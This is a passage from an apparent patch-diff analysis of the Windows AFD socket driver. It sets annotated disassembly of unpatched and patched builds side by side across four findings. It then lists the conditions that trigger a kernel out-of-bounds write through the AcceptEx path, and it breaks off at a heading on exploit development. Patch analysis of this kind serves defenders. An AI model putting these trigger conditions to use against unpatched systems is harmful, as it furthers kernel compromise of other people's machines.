&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D83D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Ah&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;xa&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D840&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D844&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Ah&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;xa&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D848&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;cx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="n"&gt;gth&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D84C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;di&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Ah&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D850&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmovb&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12w&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;xa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D855&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cx&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D858&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmovnb&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cx&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D85C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D85F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D862&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Size&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D865&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006D86A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bx&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;There is no &lt;code&gt;EvaluateCurrentState&lt;/code&gt; call and no &lt;code&gt;ByteCount - offset&lt;/code&gt; fallback in the patched routine.&lt;/p&gt;
&lt;h3&gt;Finding 2: &lt;code&gt;AfdTLListenComplete&lt;/code&gt; spin-wait (feature-gated)&lt;/h3&gt;
&lt;p&gt;Patched build (@ &lt;code&gt;0x1C0060E90&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0060F0F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;g_Feature_3088522553_60513072_FeatureDescriptorDetails&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0060F2E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0060F33&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0060F35&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C0060F47&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OFF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;wait&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;behavior&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0060F39&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;pause&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0060F3B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;F8h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0060F42&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0060F45&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C0060F39&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;spin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0060F47&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mf"&gt;...&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__guard_dispatch_icall_fptr&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;callback&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dispatch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;same&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;both&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;builds&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The unpatched &lt;code&gt;AfdTLListenComplete&lt;/code&gt; (@ &lt;code&gt;0x1C005FC10&lt;/code&gt;) has no &lt;code&gt;+0xf8&lt;/code&gt; read and no &lt;code&gt;EvaluateCurrentState&lt;/code&gt;; it dispatches the callback directly. Every &lt;code&gt;+0xf8&lt;/code&gt; increment/decrement in the other listed functions is guarded by the same flag with a &lt;code&gt;jz&lt;/code&gt; that skips the counter when it is off.&lt;/p&gt;
&lt;h3&gt;Finding 3: &lt;code&gt;AfdCreateConnection&lt;/code&gt; device-stack comparison&lt;/h3&gt;
&lt;p&gt;Unpatched build (@ &lt;code&gt;0x1C0055BF0&lt;/code&gt;), gate that can skip the check:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0055F67&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;g_Feature_1552108857_59735561_FeatureDescriptorDetails&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0055F6E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0055F73&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0055F75&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_1C0056076&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OFF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jump&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PAST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;whole&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;comparison&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0055FCC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;IoGetDeviceAttachmentBaseRef&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0055FED&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;IoGetDeviceAttachmentBaseRef&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0055FFC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0055FFF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_1C005604C&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;proceed&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0056042&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;C000000Dh&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mismatch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Patched build (@ &lt;code&gt;0x1C0056280&lt;/code&gt;) performs the comparison unconditionally (only a &lt;code&gt;handle != NULL&lt;/code&gt; null-check precedes it):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005662E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;IoGetDeviceAttachmentBaseRef&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005664F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;IoGetDeviceAttachmentBaseRef&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005665E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0056661&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_1C00566AE&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00566A4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;C000000Dh&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mismatch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 4: &lt;code&gt;AfdAddConnectedReference&lt;/code&gt; increment ordering&lt;/h3&gt;
&lt;p&gt;Unpatched (@ &lt;code&gt;0x1C0058F28&lt;/code&gt;): &lt;code&gt;KeReleaseInStackQueuedSpinLock&lt;/code&gt; at &lt;code&gt;0x1C0058F62&lt;/code&gt;, then &lt;code&gt;lock inc dword ptr [rbx+30h]&lt;/code&gt; at &lt;code&gt;0x1C0058F6E&lt;/code&gt;. Patched (@ &lt;code&gt;0x1C0059A48&lt;/code&gt;): &lt;code&gt;EvaluateCurrentState(g_Feature_2476938553_60405306)&lt;/code&gt; at &lt;code&gt;0x1C0059A9B&lt;/code&gt;; when true, &lt;code&gt;lock inc [rbx+30h]&lt;/code&gt; at &lt;code&gt;0x1C0059AA9&lt;/code&gt; precedes the release at &lt;code&gt;0x1C0059AAD&lt;/code&gt;; when false, the release at &lt;code&gt;0x1C0059ABB&lt;/code&gt; precedes &lt;code&gt;lock inc [rbx+30h]&lt;/code&gt; at &lt;code&gt;0x1C0059AC7&lt;/code&gt;. The increment is atomic in every path.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;To exercise the Finding 1 out-of-bounds write in &lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt; on the unpatched build:
1. Open a listening socket and issue an AcceptEx / &lt;code&gt;AFD_SUPER_ACCEPT&lt;/code&gt; operation on &lt;code&gt;\Device\Afd&lt;/code&gt;, establishing the SuperAccept completion path.
2. Complete a connection so the transport returns address data; the completion routine runs with &lt;code&gt;IoStatus.Information == 0x1a&lt;/code&gt; (checked at &lt;code&gt;cmp dword ptr [rdx+38h], 1Ah&lt;/code&gt;) and the endpoint's address flag at &lt;code&gt;[rdi+0xac]&lt;/code&gt; set.
3. The address buffer's length field at &lt;code&gt;[mapped + offset + 8]&lt;/code&gt; must be large enough that, after the &lt;code&gt;+0xa&lt;/code&gt; destination shift, the clamp to &lt;code&gt;MdlByteCount - offset&lt;/code&gt; still allows the copy to reach past the buffer end (overshoot up to 10 bytes).
4. &lt;code&gt;EvaluateCurrentState(g_Feature_298020153_59190810_FeatureDescriptorDetails)&lt;/code&gt; must return false, routing execution to the weak clamp at &lt;code&gt;0x1C006D937&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;ul&gt;
